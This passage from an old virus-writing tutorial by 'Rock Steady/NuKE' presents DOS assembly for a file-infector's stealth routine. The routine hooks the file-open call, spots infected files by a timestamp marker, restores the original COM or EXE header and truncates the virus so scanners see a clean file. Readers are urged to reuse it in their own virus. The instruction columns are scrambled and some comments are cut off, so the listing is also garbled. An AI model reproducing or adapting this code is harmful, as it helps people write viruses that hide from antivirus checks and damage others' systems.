call
jnc
call
jnc
jmp
check_extension
open_fuck2
check_exten_exe
open_fuck2
dword ptr cs:[int21]
push
ax
;Save AX
mov
ax,3d02h
;Ready to open
call
calldos21
;Do it!
;NOTE: its important you called Int21h YOURSELF! you CAN NOT do a "Int 21h"
;command, as the virus will intercept it, and will come to this routine
;and it will continue over and over again, Never ending l
;stack gets too big, overwrite the code and the system ja
;in about 2 seconds...
jnc
open_fuck1
;No Error Continue
pop
ax
;restore
iret
;Exit
open_fuck1:
push
push
push
push
mov
mov
call
bx
cx
dx
ds
bx,ax
ax,5700h
calldos21
mov
or
dec
xor
jnz
al,cl
cl,1fh
cx
al,cl
opening_exit3
dec
mov
mov
cx
word ptr cs:[old_time],cx ;Save
word ptr cs:[old_date],dx ;Save Date Stamp
mov
xor
xor
call
ax,4202h
cx,cx
dx,dx
calldos21
mov
mov
cx,dx
dx,ax
push
push
cx
dx
;BX=File handler
;Get file TimeStamp
;move seconds into al
;Left just seconds
;60 Seconds
;cmp
;NOT 60 seconds exit!
Here now we get the first 3 bytes (for com) or first 1B bytes (EXE header)
in the Nuke Pox virus I save the ORIGINAL first 3 bytes of the .com at
the VERY END! Since the buffer I made was 1B hex bytes, it is able to
hold the EXE header or 3 .com bytes, anyhow the beginning of these
bytes are the last 1B bytes, since its at the end... figure it out where
you saved your 3 bytes or exe header for your virus, or use the Npox
routine...
sub
sbb
mov
call
dx,1Bh
cx,0
ax,4200h
calldos21
push
pop
cs
ds
mov
mov
mov
call
ah,3fh
cx,1Bh
dx,offset buffer
calldos21
humm, now we got the original bytes, all we gotta do is write them
open_exe_jmp:
xor
xor
mov
call
cx,cx
dx,dx
ax,4200h
calldos21
mov
mov
mov
cmp
je
mov
call
ah,40h
;Write first three bytes
dx,offset buffer
;our buffer
cx,1Bh
;1B bytes for EXEs
word ptr cs:[buffer],5A4Dh
open_exe_jmp
;if EXE file jump
cx,3h
;if COM write only 3 bytes
calldos21
We wrote the original file's data back to place, now we need to cut the
virus off from the file, the virus is written at the end of the file,
so all we do is set our file-pointer to EOF - Virus_Size, which gives
us the original file length!
pop
pop
sub
sbb
mov
call
dx
cx
dx,virus_size
cx,0
ax,4200h
calldos21
;EOF - Virus_Size
;to get ORIGINAL File size
;subtract virus size
Now this is perhaps the "TRICKIEST" part, in order to "CROP" the file, at
our new ptr location, what we do it use does to crop it, by writing 0
bytes to the new location, DOS will make that new location the NEW
EoF and in result cutting off the virus and deleting its sector in the
fat.
mov
xor
call
ah,40h
cx,cx
calldos21
mov
mov
mov
int
mov
call
ah,3eh
calldos21
opening_exit3: pop
pop
pop
pop
pop
jmp
ds
dx
cx
bx
ax
dword ptr cs:[int21]
;Close File
;Return to DOS...
ahh, the file is now Disinfected, now we safely return it to DOS and DOS
may now open the file for inspection...
Rock Steady/NuKE